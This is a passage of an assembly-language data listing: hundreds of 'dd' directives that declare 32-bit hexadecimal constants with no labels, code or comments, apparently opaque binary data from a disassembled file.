		dd 8B6E7FD4h, 0B90F3564h, 997D792Dh, 895FFF5Eh,	4D6595A5h
		dd 43219B02h, 20FF608Ch, 3A47055Eh, 5A5E11A0h, 91AF7CFCh
		dd 1C7C979h, 5091BD3Fh,	2F69E675h, 0F4409D06h, 4C387B9Bh
		dd 83DF0522h, 857B63F6h, 0E14E411Dh, 81844CE6h,	0ADB7A66Ch
		dd 3D80D0B5h, 37173F31h, 49BE0C68h, 4494426Eh, 0F617A1ABh
		dd 0A343C4BDh, 55BAC7C0h, 43B20674h, 4FEF00D0h,	3D2E8C92h
		dd 0CEC42C40h, 9D7FBA10h, 644D75E5h, 0F4D165A3h, 89EB8578h
		dd 27333BF8h, 96E60EF7h, 0D031CD58h, 0D0990371h, 9A11B7FBh
		dd 7C28AF41h, 0DEE7F344h, 55C427C8h, 9C95B842h,	872DC82Eh
		dd 945338C3h, 6D9B5DB8h, 0AAC3869Fh, 0C3823109h, 1C47E315h
		dd 0AD2D25AFh, 7ECBDD44h, 4D611BD4h, 838B31E0h,	0F8F42A2Fh
		dd 9281B990h, 0B7DA8447h, 0CE3E2D3Eh, 0C607434Eh, 55BAC597h
		dd 2BE49874h, 8F035D41h, 0AC715AE4h, 0ACE22576h, 14D887D8h
		dd 0D9DA0C74h, 3E45ECA5h, 4B219B02h, 0B4FA2251h, 0B6B510EBh
		dd 860DAC5Eh, 51723E4Dh, 0D4BCBB22h, 0BBEC1CADh, 5D370B44h
		dd 152D246Dh, 44EF119Fh, 40D5BC85h, 0CC0BC000h,	0A676EC5Dh
		dd 5429FDCDh, 4BF99B46h, 0C1A324FCh, 2F69E6B0h,	47F6D739h
		dd 2B4E1304h, 0B6B00D40h, 0B1AD55Eh, 0CBD4B27Bh, 8E7A3E61h
		dd 8FE9D675h, 4DAC417Dh, 757C18C8h, 59933CAh, 8FB91502h
		dd 0E2BA8BC0h, 2F185154h, 9B87FA8h, 624B6AA4h, 8F569964h
		dd 0C1A3279Bh, 2F69E6B0h, 0F05F0539h, 0E5665C3Dh, 193DDDh
		dd 0FBC6B4DEh, 0A306A9Eh, 2A0B805Eh, 76D36874h,	0FFDCA5BDh
		dd 7CC8692Fh, 0B23DC61h, 0FBC6B47Bh, 6C1A5428h,	0E159FDBDh
		dd 4E7863B2h, 47CC5198h, 906DE2F4h, 8A8DB6F5h, 0B29F723Fh
		dd 0EB59299Ah, 4502395Eh, 0DBFF8D71h, 94DB5DAAh, 3801673Bh
		dd 6B658877h, 48DC8A0Fh, 0D0F99B02h, 0FBC6B4CEh, 0E17B9AE6h
		dd 2F69E19Dh, 0C823AD99h, 0E5BB81CAh, 0C28E9E92h, 0D511EDE8h
		dd 0BE360A32h, 6F8BB338h, 63A57626h, 0D05BD9Ch,	0C7EF7470h
		dd 10854793h, 69EECB2Ah, 0BEEC7311h, 3D7D5FE3h,	350CD380h
		dd 0D3BF6C1h, 0FADE7C70h, 9B6F2A0Dh, 0A6CABE3Ch, 0A4C7C953h
		dd 441E9805h, 0B61F99D9h, 677EE202h, 2D2E8DEFh,	61AC99C4h
		dd 0E8962C4Fh, 35BB5C6Fh, 1D0E852Ah, 0B5C6B4DEh, 1B27D601h
		dd 0AEB95C9Bh, 0F17D9787h, 9911024Bh, 0C66F6148h, 4BF9993Fh
		dd 0B52D24ACh, 0F0B5DD7Bh, 1FB5EAECh, 24250F3Eh, 31E301BCh
		dd 0DC427AEEh, 321745B0h, 0C7FDDAFBh, 2F69E693h, 0F0B34D8Bh
		dd 2D8920DDh, 0E524C75Ah, 0C1A33517h, 2F69E6B0h, 0DCF6D739h
		dd 494D207Fh, 5072246Ah, 4839AD39h, 5FF99B02h, 0AE69D4BAh
		dd 5AA3427Eh, 0B9F880E1h, 0EE3D9C5Eh, 9DBA9DEEh, 67A92488h
		dd 0BA89212Dh, 0C725C5B7h, 0D30BC0CFh, 0C85D2AFh, 313692FEh
		dd 0FA07C844h, 0B6744775h, 314A2177h, 0F6403A7Eh, 54C7BA34h
		dd 0ACEEBC67h, 16444E22h, 2FEE4905h, 2A346C1Ah,	0CD6C34F4h
		dd 420E350h, 0A8CC9401h, 0F7CAC9B3h, 0FA9BA560h, 0A196970Eh
		dd 725EB273h, 26D614AEh, 3FBC21C9h, 2B4F264Ah, 0AC876DDFh
		dd 0C73A14FAh, 0D16474C9h, 9B145884h, 0B95A346Eh, 1C7452Dh
		dd 7C375CF1h, 0F7ADEF0Ah, 5B342D06h, 0E63E20E3h, 6819C5EFh
		dd 273E212Dh, 7C0C4EB2h, 0A0F99A99h, 0D32CD497h, 2D02D151h
		dd 80023825h, 0C7175A2Fh, 1DB9CECFh, 0AEEAA1B7h, 23FE404h
		dd 2F69E18Ah, 28095A6Eh, 57723517h, 0F4311ABh, 97BCF0D8h
		dd 0C316E09Ch, 285EB3A2h, 8805251Ah, 24460B41h,	5AB395D5h
		dd 34B63057h, 4D113098h, 35B48D02h, 0C71F852Ah,	60C1A9CFh
		dd 17EE5324h, 6E8920DDh, 0CC6478D1h, 8BA3EDD2h,	538920D6h
		dd 0C410581Fh, 0F6450D12h, 0E44DBA34h, 0A4CC772h, 5C72A960h
		dd 2FED9C22h, 0AA8AE6EDh, 0B9285720h, 30B4A8D2h, 10B204EEh
		dd 654AFCFCh, 333CF57Eh, 5A232E59h, 0BF5E585Bh,	2F1C44B6h
		dd 3BA149D3h, 1417597Fh, 598B2D5Ch, 3220E376h, 22F76A70h
		dd 9FBFD21Bh, 0F63C8114h, 12BF7059h, 4361F14Eh,	0CD55BAA5h
		dd 0AE69D497h, 10739D7Eh, 0B1D1324Ah, 34C86AAAh, 2BCA7EEh
		dd 8E867172h, 0AA18EB71h, 1990B98Bh, 0E5C0B2AEh, 7C375CEAh
		dd 0F7ADEF0Ah, 4D0A1FBAh, 14240802h, 0B6A8A086h, 0E2F32082h
		dd 35B4DC0Ah, 3864EA2Ah, 2F69D125h, 8EE27D87h, 6F38534Bh
		dd 58DB0B41h, 0AD61A073h, 70C1C03Eh, 2425EFA5h,	2AE4ECA7h
		dd 0CF2D255Dh, 2C48685Fh, 66CDD75Ch, 72F99B08h,	0AE69D4BAh
		dd 2222AC7Eh, 2C0A1C32h, 668C517Dh, 843B9CE0h, 6F385144h
		dd 0A9BB0B41h, 8E7A25BBh, 0B78A9775h, 0F88E7166h, 0FBC7BA34h
		dd 0ADCF9AE6h, 5D218D5Fh, 9C95BB69h, 12CEDB71h,	22C98FF3h
		dd 94884DB9h, 0D353B5B6h, 1F3C4D40h, 0B4FCE058h, 0A7210EBh
		dd 860DAC70h, 8663F5CCh, 0A2F3DA04h, 1CDD835Ah,	4F0EA7D6h
		dd 0AE74B08Bh, 5F04205Ch, 3572B78Fh, 0C924425Fh, 0EFB6B752h
		dd 6021542Eh, 3D23B7DCh, 0EF0BEDBDh, 0FBE438F8h, 17092688h
		dd 97E38691h, 84392973h, 79AB0FE6h, 0CB7E6DAh, 6416CFB3h
		dd 9B3B7F4Ah, 0D3CB31C1h, 483537E7h, 0BB5E212h,	4DB62C44h
		dd 7F929B02h, 0F6D6CE1Eh, 0BBFEE530h, 0A9BEB79Dh, 46F222D8h
		dd 92DA56EDh, 46F92028h, 8DCD56EDh, 0B6FB24E5h,	0A9BEB5A0h
		dd 861859D8h, 35A81BAFh, 0BCF99B02h, 4BF9AEB1h,	12361A02h
		dd 205E0C50h, 3C649EF4h, 204E0C02h, 3EB532F4h, 205E0C02h
		dd 0ECCD8546h, 0BE1B8DB6h, 69E13D3Fh, 0BE20E154h, 0BBEEB1D8h
		dd 0F81D25EFh, 0E7363C1Ah, 6042A8Ch, 3CF99B09h,	1A742817h
		dd 0B6EEEA01h, 1E56DCABh, 0F4A3FA91h, 4BF9958Ch, 0D4F65819h
		dd 0CC254E56h, 0BE203C1Fh
		dd 4BF9956Fh, 3C8BEC02h, 968AC9B2h, 90FC8FB4h, 900B801Fh
		dd 0F25E8DC3h, 0A030617h, 82C09268h, 23D3311Fh,	8AD8759Fh
		dd 3581990Dh, 0ECF99B02h, 210A080Bh, 0BC43BEA1h, 4BF99A9Dh
		dd 0FB6904A5h, 0BFC87CD3h, 4D210FB3h, 3C01F302h, 0FE759B02h
		dd 1EBE1598h, 0B34A4FE8h, 0C98DE801h, 0EB7A7F6Eh, 1569E97Ah
		dd 4BF99A96h, 2FA448E1h, 0FE8C2546h, 0C24B2AFCh, 0C101FC8Eh
		dd 0FDD10B52h, 919F2522h, 90EFFC7Dh, 4BF99BFEh,	0D63E4B6Fh
		dd 4F833617h, 6A74F18Eh, 0DC53A98Ah, 0B619BD9Bh, 0F48CE639h
		dd 0D1D44468h, 3CF41207h, 0B2429B02h, 4BF99A96h, 53E21B38h
		dd 0DD89BE82h, 0BE02EAA6h, 2B2FDAD1h, 4BF99822h, 367B5AF3h
		dd 13A1BFD9h, 0D9CBECD9h, 0A379AEB4h, 5EC41A97h, 5C91FB89h
		dd 4D0CEA8Bh, 2EB73D02h, 0BBB4475Ch, 4D0C3BB1h,	20DC8F02h
		dd 0C80891C1h, 97948379h, 7991CE40h, 9E17B30Bh,	690A3124h
		dd 14B6F26Ch, 3E0C3D21h, 0E4F8C387h, 76B9EEE0h,	87B9D742h
		dd 0E5935C23h, 0B8C1DAB6h, 408B3A3Eh, 7A5FFCFEh, 0B063704Fh
		dd 20024002h, 3CACC7B4h, 2555FCFEh, 0E5CEE358h,	0D82EEB9Ah
		dd 0C9999DF8h, 0C1C91BD4h, 0B8C1DA9Fh, 0B0936208h, 0F5069943h
		dd 3DE3639Bh, 8A7FFCFEh, 0E0301495h, 0A07FFC04h, 0FAD296AEh
		dd 0DD8BE63Eh, 678BE062h, 227FFC04h, 73FD8702h,	0F2B30090h
		dd 2FC67AB7h, 407F0298h, 7C65F17Eh, 6DF9DE32h, 0B6AE03EDh
		dd 0ECE360B4h, 40823B95h, 4CEEADFEh, 7CE3714Dh,	6D626812h
		dd 65A785EDh, 9B3D6C0Dh, 0B4EFD95h, 0F8E360B5h,	1DDB3552h
		dd 0A3F2FD93h, 57B5EFEBh, 0D6B00BF0h, 671DE81Eh, 48A2726Eh
		dd 7E4F814Ch, 199085D2h, 0A58F0612h, 8B4CA0BDh,	0A48388D6h
		dd 800A1508h, 805B4219h, 0E714612Ah, 0A78EDC12h, 0DEEA68DCh
		dd 9CA2018Bh, 0F48F0184h, 8B357B2Eh, 9A3367F8h,	854F7AFCh
		dd 88121E2Eh, 9D9900F0h, 3D877AFCh, 6504444Eh, 0F48FF845h
		dd 9B910C3Eh, 0C25F7AC6h, 234BCEF8h, 91D5AAF9h,	0F48F0618h
		dd 0BBC94405h, 0A0DECD24h, 0A30356EDh, 539EE854h, 0BD19DC92h
		dd 2486870Dh, 898F0181h, 7F730EB4h, 7D9D1E45h, 8B42A6BFh
		dd 3CC7D0F0h, 0A5736E01h, 77AC9766h, 0D3BF560Bh, 98BD9766h
		dd 0F1D19F84h, 40E652F1h, 0D0797FEAh, 35D36DBCh, 6935D194h
		dd 0EBE11E62h, 0D07E4137h, 20746B88h, 0AAC00C4h, 0F230E029h
		dd 0F5AAEA75h, 207E3675h, 1ECB20C4h, 5B53E574h,	345F62D0h
		dd 207EE1E2h, 2D0360C4h, 3469566Eh, 207575FBh, 2074707Ch
		dd 7A8B9C4h, 0FA9BB6E6h, 0EC09E0DFh, 15E98995h,	8FCCA6E9h
		dd 207E5C04h, 0DDFC60C4h, 0D87460C7h, 696B523h,	39EB99CCh
		dd 67808988h, 0F6ED011Eh, 1A968C10h, 27E4137h, 20746A9Eh
		dd 0EE8200C4h, 60E29Bh,	0F5AAEA75h, 207E3675h, 0A11E6C4h
		dd 12DF1054h, 342D1211h, 9AD548C8h, 0E7783FA3h,	1C25DC9Eh
		dd 0DC5D5C05h, 0E91C7C0h, 0B2367DBAh, 0C64D2166h, 2F1575F4h
		dd 6B6CF009h, 0E5A2D1BCh, 136E0ACh, 73F3B463h, 828E117Ah
		dd 2DC47405h, 9D840801h, 0FC5FF17Eh, 0B611783Fh, 75A0ED3h
		dd 0B5CA47A8h, 74E0A9ACh, 0B97D2C00h, 0CDB54B8Eh, 48A57C5Dh
		dd 695A0306h, 8329309Ah, 0D0270B1Ch, 0C9258C21h, 0D456C35Bh
		dd 0D0621C25h, 3D603014h, 7E52AC2h, 0AC664E2Bh,	235CFB8Ch
		dd 6A513857h, 0C770DF48h, 0D4D05DE9h, 0D546C503h, 6A4AE303h
		dd 0C5BFEC48h, 20EB3E21h, 0E6955DE5h, 0A91249DBh, 6A61FD70h
		dd 389DE148h, 6599890Ch, 780E5574h, 322D9201h, 0B6EA9414h
		dd 235CFB90h, 6A513857h, 0C770DF48h, 0D4D05DE9h, 0D546C503h
		dd 6A49A603h, 0C5BFEC48h, 9CA3608Fh, 0AABD2125h, 0F0125958h
		dd 0BACC6780h, 4E6BD990h, 3CA49548h, 315AB0C0h,	6A4ADFC1h
		dd 15E43F48h, 0A56E0F79h, 0EC168208h, 4C04DCC4h, 6A5C16E9h
		dd 0BBB13F48h, 2C924BB6h, 74CA3E19h, 4FD63E1Ch,	0EC463F48h
		dd 870DC1B6h, 6A514EC6h, 4CAB2E5Bh, 8776F89Dh, 0B3550EDAh
		dd 98BCBDF0h, 234C4B1Ch, 54125955h, 0B66641CCh,	0CB5CFB90h
		dd 0B6B28B3Bh, 399C3690h, 71672909h, 0C9045047h, 31535331h
		dd 4AF5C90Ch, 8E41806Ch, 0CECC1C29h, 0DFDC73F9h, 0CE845741h
		dd 98954A0Ch, 9F3126D4h, 6DF4D9CDh, 592A1D2Eh, 14211F06h
		dd 3BAA8C7Bh, 0A928C82Ch, 8FF736D5h, 7F22CF63h,	7283942Eh
		dd 9C8B4583h, 6D7FB46Dh, 554CFF5Fh, 1E45FA4Fh, 6043966h
		dd 0E09554D9h, 87D297EAh, 0BF7BC5CBh, 198E2295h, 0E41EFBE4h
		dd 6787D952h, 4F971370h, 50758B5h, 958AED4Fh, 9993B812h
		dd 9B3636B5h, 3E8AF21Bh, 94F58EBCh, 0FE7F610h, 6AF67B11h
		dd 6640BA05h, 2DB11573h, 0EBB1154Bh, 0E1F67B11h, 5FEEC160h
		dd 0C4077B5Fh, 0F6DAF3E9h, 4A68F1B6h, 4AF47B10h, 4AF6B85Dh
		dd 8B967B10h, 0A60FA1CBh, 0DE097F1Eh, 4C727C2Bh, 4C497B10h
		dd 0F1F345CBh, 23A31A25h, 0EAC2A882h, 8BF67B11h, 0C1F02A59h
		dd 2CC283E4h, 0A3D1C3CEh, 0FDFEF193h, 4AF6B863h, 9A967B10h
		dd 0EE07D4CBh, 0DE0975BBh, 5ECE7C2Bh, 0C5407B10h, 0DB8A79CBh
		dd 19114F6Ah, 0E8891891h, 7F52A134h, 5124F1B9h,	7D1D7C10h
		dd 678AF21Dh, 8FFD51E7h, 90F45317h, 69761EB5h, 4DAADD88h
		dd 0DC24D50Eh, 592D57C6h, 82EC9A02h, 94B41EC7h,	10C05C65h
		dd 0A95288D6h, 2B754719h, 448AD202h, 0BCFF64ACh, 0B145E85Dh
		dd 0C973D525h, 637D4F87h, 2A6EAF44h, 540A2811h,	5598ACABh
		dd 73459D0Ch, 11F5D50Eh, 0E80EE415h, 0E3541402h, 7821F5B4h
		dd 0BCFF6B58h, 0B7DB3925h, 704B1406h, 8AD2C000h, 9C012C0Eh
		dd 653EF4AAh, 717C83FAh, 33EB655h, 220A28E0h, 27F1B257h
		dd 409B604Eh, 0AF46985Dh, 0B40A2B6Ch, 6680995h,	0F9E2B3ABh
		dd 0BCFF61E6h, 750997CBh, 8D30D50Eh, 0EF789B80h, 459CE53Bh
		dd 0BCFFBB78h, 496834C7h, 0A2695722h, 8AD26837h, 0E866A40Eh
		dd 1C0A20BDh, 8624C468h, 5A178CEAh, 5BC66185h, 993293CAh
		dd 0FA0CF8FBh, 45933DA1h, 0BCFF54F0h, 0B2661D95h, 0D12A101Bh
		dd 0F78EEF1Eh, 0E5A2D03Fh, 735515D2h, 0DEFE1B8Ch, 5E092821h
		dd 3ED3BDB7h, 2C7391F0h, 0CC4B663Bh, 0CC6135C1h, 19F9F288h
		dd 2ABCED9Eh, 2BB4663Bh, 0AB228CC1h, 9D24322h, 0DC9465B5h
		dd 789C25FDh, 400C75F6h, 14E162D6h, 5ACAEB37h, 0CAAB663Bh
		dd 0B34EB3F1h, 0C36BDF27h, 356BD29Ch, 0A1AB663Bh, 0AA0B3B8h
		dd 55303ED2h, 33A59CEDh, 3ED9459Dh, 12BAA30Dh, 2AAB769Ah
		dd 372BEF5Bh, 850B3B5Ch, 850B35AEh, 2AAB67F2h, 293488FBh
		dd 2067B96Ah, 3EE15CECh, 10AB663Bh, 5AD0E037h, 0CAAB663Bh
		dd 0B3A5B360h, 0C36BD44Fh, 106BD29Ch, 14AB6638h, 0ACCBD23h
		dd 39E58F6Ch, 3436809Ch, 81B5A156h, 93FB903h, 3ED2960Bh
		dd 2C7390F4h, 0F84B663Bh, 6C5A0414h, 19F9F27Fh,	574EED9Eh
		dd 0E7B0663Bh, 0BFC89337h, 2AAB61E0h, 5D2B511Bh, 65AB663Bh
		dd 0EB67D9FCh, 3ED29604h, 2C739395h, 454B663Bh,	29F1EC37h
		dd 19F9F288h, 574EED9Eh, 18B5663Bh, 1CFB82BEh, 0FA80F938h
		dd 0BFE15DD2h, 0E4ADAB78h, 0F431ED6Ah, 45DCE576h, 353871C5h
		dd 0C16C1911h, 71DF3AF6h, 6BA697E8h, 60790D5Fh,	27888289h
		dd 0B399D58h, 4BA8732h,	6F2A1F3Bh, 7CF3F642h, 7BF6B574h
		dd 49416B10h, 0A2C21051h, 8CDEF499h, 706EA04Eh,	92A19C5Bh
		dd 5E9F1399h, 76AB494Eh, 2FAA240Ah, 0E232F84Dh,	80965FDEh
		dd 0B8E2C47Fh, 9485D515h
		dd 2FA74632h, 15E60397h, 2C2F9167h, 318BA82Dh, 87EB8CCEh
		dd 86A8BC03h, 2C2F9EBCh, 0F38BA833h, 13BAB3D9h,	9485C92Ch
		dd 0C6144181h, 2FAA5D4Ch, 6B81914Dh, 2F8C89B1h,	32CF914Dh
		dd 7021A390h, 0CFB355A1h, 0CF0455A4h, 893E9150h, 4297B990h
		dd 0B92CB944h, 7919F41Ah, 0F82F9167h, 4B93A73Fh, 0B43B6950h
		dd 0B32E3CA9h, 0EBDCE673h, 36B4C14Ah, 0FD2F915Eh, 2C2F97C5h
		dd 0BB219C4Dh, 947685C5h, 0D3D8C089h, 0E5115D4Fh, 86CB2E51h
		dd 0B1C9E089h, 6B945D4Ch, 2F8C8320h, 43CF914Dh,	68226690h
		dd 0CFB355A4h, 0CEC555A4h, 0AFEF9150h, 0A0779C8Dh, 0D807BD1h
		dd 0D95DFE02h, 75A1A08Fh, 2D4E884Dh, 0A0A1B15Dh, 413C4DBCh
		dd 0DA2D02EFh, 2FD2F9CCh, 9AFBB316h, 187DE15Ah,	0FDE128FEh
		dd 7DE63CE3h, 18507F5h,	454D992Eh, 20335882h, 0E0D398Dh
		dd 0A8A7885Dh, 0BA75E77Bh, 99CBF338h, 6BC233EFh, 0B6FE2890h
		dd 60BAADC5h, 0C3BD6C1Ch, 0ECF50DDh, 0EE480EF8h, 3A615D46h
		dd 0F867B8A3h, 9E186909h, 0CF26BDB0h, 4FD0DD19h, 0F16C5424h
		dd 1282222Ch, 32C1C6FBh, 7A6C4DE9h, 8244BF5Bh, 0CC9183E9h
		dd 481F2673h, 40EAE9DFh, 8A9B3605h, 0F48EB08Eh,	0BC396F8Ah
		dd 0F59B8502h, 0BC3D2F36h, 648F3602h, 0A759B08Eh, 644184EBh
		dd 86ABA2B2h, 0D7259D5Dh, 0DDB5D953h, 5ADDC166h, 0D0130F00h
		dd 772AC9B1h, 76BE71B1h, 8EB0A0DBh, 0F88B70F6h,	7F8D9109h
		dd 3C89545Ah, 38DB636Ch, 0DCAF5502h, 0E3BC44F1h, 0F511847Bh
		dd 6DD4F437h, 2B01F3D1h, 0AED0B12Ch, 0BA4184E2h, 974184E9h
		dd 0E7FBE132h, 659051D4h, 3B867C08h, 36655BCDh,	0B9ADE92Ah
		dd 0E69F3C17h, 0BC38B352h, 0D7528866h, 975B1075h, 79D284D1h
		dd 5A515073h, 4CEDDD9Ch, 974184F3h, 0F3D41DE8h,	0E55B92F0h
		dd 0B3F3D60Ch, 0D02EA6A1h, 8774CB19h, 974184DEh, 86F7CB8Bh
		dd 0E52D8B63h, 0A211F660h, 0C63ABEE4h, 0F13AB9A2h, 799CAF91h
		dd 7F745B1Bh, 0C6EA0CD1h, 8441950Fh, 432F5548h,	63017C9Dh
		dd 1D513221h, 8932496Ch, 0E1CF84D1h, 49AD5AB7h,	799DBFD1h
		dd 551E6505h, 0DDB6B2B3h, 8BC442B7h, 0D416F778h, 0CC4184E2h
		dd 12036490h, 0A07D2265h, 8FC420D1h, 227AA712h,	0CEE6A484h
		dd 5DD427C5h, 4004CF7Fh, 0F43666A7h, 87A9560Ch,	69385454h
		dd 40CD7726h, 975226EDh, 0D6289CD1h, 6775C951h,	8DCBED8h
		dd 50EDF0E3h, 6A8E8244h, 0DE8FB06Eh, 25EE56E9h,	0DE871732h
		dd 95B398E9h, 7C46D89h,	0C2B6BA95h, 6254372Ch, 27328007h
		dd 0E7EC9F56h, 271E1BB0h, 0C2BFD3E7h, 0BB40C304h, 8107A4B8h
		dd 0A2DF65DEh, 0CF8801FAh, 5120F519h, 44DCD74Dh, 0C3F82088h
		dd 0E981B01Ah, 0EEEC7B3Fh, 7E307504h, 0A1B280F5h, 5EB8465Eh
		dd 0B6B6BBF3h, 499B6A66h, 3F20EA18h, 0ADA853E7h, 0E3EC990Ch
		dd 61F43112h, 0C1C205F3h, 2F9991Bh, 9DB42E98h, 7D91F813h
		dd 80E97E9h, 31880056h,	7AEC90D5h, 0DA5F2ECh, 95A2EA12h
		dd 0E3EC990Fh, 53984D12h, 591E05F3h, 2F998DFh, 9DB56C5Ch
		dd 0DE901413h, 0C40E97E9h, 3187879Dh, 7AEC9951h, 48A9F2ECh
		dd 0B1A2EA18h, 0E3EC98DEh, 25C38112h, 591A05ECh, 2F998DFh
		dd 9DB54800h, 7AED5013h, 1C0E97E9h, 3187916Ch, 7AECA68Dh
		dd 0A625F2ECh, 3DA2EA19h, 0E3EC98E9h, 0EDED5512h, 9C9605F0h
		dd 2F99912h, 9CBE2630h,	68FA4C13h, 380E97E9h, 3187973Dh
		dd 7AEC98C9h, 236DF2ECh, 0B9A2EA12h, 0E7EC98E9h, 9C97F096h
		dd 72FE9912h, 9217B895h, 0A78782ADh, 98329E24h,	61F35FF7h
		dd 74EE6BF3h, 9CBEE8EDh, 0DF696003h, 7A0B805Eh,	9B8B53E9h
		dd 0E52992E9h, 0FDB0EA12h, 7AEC910Dh, 78365F16h, 76F90071h
		dd 391107B4h, 0BD676A5Eh, 5CEEEA12h, 804DE007h,	0CF87EE73h
		dd 0DE7F0B24h, 9D8E98E9h, 260E75B8h, 210E984h, 0AFCB60DEh
		dd 611283E0h, 0BF101390h, 7AED585Ch, 0F6511689h, 0BB080B78h
		dd 0A7A798E9h, 0C9EC990Ch, 0A64B97A1h, 26E6BA2Ch, 288DE2B5h
		dd 3D643CFEh, 7EBD19C2h, 0EDEF9912h, 7A2D613Ah,	4E53816Ch
		dd 4963310Fh, 0D5107EAEh, 918CA262h, 0AFA97340h, 0B5EC98E9h
		dd 71F0B9D4h, 0B05E6790h, 8AE23D9Ah, 0C09217EAh, 7D5E49DAh
		dd 2F123880h, 0CE929402h, 470F98E9h, 0B223AE0h,	9B6E27F3h
		dd 82A79912h, 0F3EC9912h, 0E5E74C5h, 0BF11743Ah, 0B2235CEh
		dd 2AC99C6Ch, 7AEC9069h, 0DE90609Ch, 4E4798E9h,	0ECAAE7C7h
		dd 6925FDFh, 2 dup(0E5AAE124h),	323BC224h, 96A6F652h, 70B46B1Ch
		dd 6A284768h, 31B48376h, 0E2E780E2h, 75CE59F8h,	59749C19h
		dd 0EFF73A81h, 256FAA60h, 0DE439BABh, 240D3709h, 0BE495977h
		dd 0AD791BD4h, 2B20C85Dh, 0EE7F71B4h, 74AAC0A0h, 0C9E039Dh
		dd 6ECDB044h, 480C191Ah, 8B6D0255h, 1BFDE6C0h, 0B9578519h
		dd 1EF9B577h, 757B8A77h, 87A36945h, 0D4E3EDh, 0DF23598h
		dd 4B59EFC3h, 0FC82650Ah, 26086AE1h, 0B09133B6h, 0BB8BE0B6h
		dd 54B2D224h, 0AF3F90F1h, 0A4D0622Bh, 9C334318h, 0D4275B53h
		dd 0F74AC318h, 0F9A62177h, 7360CB4Bh, 0DABFF072h, 0A5B773B9h
		dd 0E3F64B07h, 3809BFC2h, 8D5AA70Ah, 7D2DFA1Dh,	55AC873Fh
		dd 0A1F1C6E1h, 67E0E0AEh, 0A16CF02Fh, 223073FCh, 0BA21CEA1h
		dd 98AF9146h, 46829127h, 0EE7F5A44h, 4380CBA0h,	96C3A3DBh
		dd 7B77D322h, 8707E127h, 226843CEh, 0A86EB4D6h,	0AF8C2144h
		dd 3A336F34h, 2F06FE81h, 3231AEB9h, 54F01B66h, 63A60671h
		dd 67C8C12Eh, 797D97FEh, 26B769E5h, 0A51420C4h,	3B8BD3F2h
		dd 0D7054DF0h, 94790E64h, 993AD0Ah, 37864AE1h, 793AD0Ah
		dd 70E15EF3h, 15425EEBh, 4FA7D464h, 0A56307Dh, 9C7258A0h
		dd 8BEF2807h, 78608BEEh, 0CDF16806h, 0DAA4ED12h, 26543C11h
		dd 0EC1B120Ah, 90306898h, 5FF8E0B6h, 0C8380279h, 98060D75h
		dd 18A85A42h, 306CF381h, 22306C69h, 0D22B72B7h,	0F7F16BDEh
		dd 0A9ABA802h, 5CC000A0h, 8725712Fh, 12B90B9Ah,	60AABA18h
		dd 883261B2h, 549EE787h, 0A874F20h, 1C0FAF17h, 2890194h
		dd 9AE5280h, 0A4C530Ch,	0AE45EEA0h, 6E1FC1EAh, 95171718h
		dd 0EF959B49h, 0C2D886A0h, 9A476CD4h, 0F1A6191Ah, 0B56EAEEh
		dd 612A02A4h, 0E902240Dh, 0E8A711Fh, 445ACD8Bh,	7A23D233h
		dd 0A483D148h, 0C0F2CF6Fh, 0E58285CFh, 1D210924h, 0BD5D70B7h
		dd 5AEECB5Fh, 0B070C8E4h, 9705EEAh, 99EE47D6h, 0FB845968h
		dd 89022867h, 8321D0DAh, 4469ECF9h, 1AF16B87h, 4CCD358Fh
		dd 0D1F33591h, 1C534B66h, 2970610Eh, 971CFB39h,	28F419FFh
		dd 827DF3A6h, 38564299h, 0B1EAB5C9h, 20557A21h,	0EDCDEB4Ah
		dd 0F29C52A0h, 0A23F850Ch, 7B80CE22h, 0A36AE127h, 0DC171718h
		dd 9867890Ah, 0E7D85A42h, 3346417Ch, 0E6E8EDD6h, 3A3F14A1h
		dd 9791E3C3h, 105F822Ch, 30E03AD4h, 0C4745421h,	0E4DFB414h
		dd 3038623Eh, 870FDA05h, 7E572124h, 0EA9175E0h,	0A3917428h
		dd 31BE3B95h, 0A3A979B1h, 0DEB8A15Ch, 0EC521370h, 958CFC5Dh
		dd 0C011FDA3h, 9C7B9F1Ch, 765B6EA1h, 0CDEFF677h, 0D841ADBCh
		dd 2A86D3F6h, 0DB5437DCh, 5076ED07h, 8AAE11Eh, 41FCB1D8h
		dd 34A0E9C5h, 78B18A2Fh, 58719387h, 0FDD2E57Dh,	0FEEA7014h
		dd 21790E6Eh, 613EFB7Ch, 109B00F0h, 7A698C9Eh, 3A032B4Eh
		dd 0AFDAFE81h, 0E2D83FE7h, 9006A49Bh, 27A003B1h, 0DE465CD0h
		dd 4883E127h, 0B16F4005h, 8A8A7072h, 0C9D9763h,	0CF4BE75Eh
		dd 0C491C27Fh, 0C45489Dh
		dd 7F19E3Eh, 757697EAh,	0C22FEBB0h, 0D8716BCEh,	23BCEE53h
		dd 474A9AD8h, 3D72D5BBh, 9D6FF19Dh, 8B01A9D6h, 0C7903B04h
		dd 0CE716CB9h, 0D5B4CE1Fh, 0F9716D77h, 0AC19EDADh, 9367E25h
		dd 98AF82F9h, 39BD8527h, 0FDF0B712h, 363AA8Eh, 0C29BB7EEh
		dd 0F30998A2h, 22F1C659h, 2CC57BD6h, 223827C2h,	0B81EE124h
		dd 0EEA556D0h, 85482897h, 0C2A37A78h, 7C0AF112h, 4FB18CA4h
		dd 61641405h, 1363EA6Eh, 2FECB6ADh, 0E348A1D7h,	5207D796h
		dd 71295B5Bh, 9D828846h, 0AEBD2544h, 164CBFBh, 46F677D8h
		dd 0ED02D579h, 0D811A9Ch, 72096EA4h, 0EADA3B3Bh, 159DC24Dh
		dd 994C5804h, 0FB4FF219h, 55A95F67h, 1F863579h,	0EB60A842h
		dd 2D31DA0h, 2062E7BDh,	290D89CBh, 9AB777B1h, 0A2371443h
		dd 566C2F64h, 0C694198Dh, 6F495250h, 8F79F58Fh,	95FD0F71h
		dd 0C2A5C083h, 653343E1h, 0F3056A7Eh, 170AD46Ch, 53D29006h
		dd 0ADF0B1D1h, 0C9D90CAh, 47149E4Dh, 0CCF9FE96h, 11F366C2h
		dd 0F60BE46Ch, 36E5AC5Bh, 6D96568Dh, 3F448527h,	8BAC1CEh
		dd 41BEEC12h, 3BAD74A1h, 4CCD3AFCh, 8E251C91h, 7D6AF90h
		dd 185FCA16h, 0AE0B1C85h, 8E16CCE7h, 53F84194h,	6114A5AAh
		dd 43627838h, 34E4EC4Fh, 0CE01040h, 53FD35B9h, 0EA75C584h
		dd 0B1B845E4h, 0E4790E71h, 519FCDF5h, 459BD7D7h, 1A3A6C1Dh
		dd 25D0877Ah, 1EA82AA3h, 88F6420Bh, 0E5AAE11Bh,	9E57BB3Fh
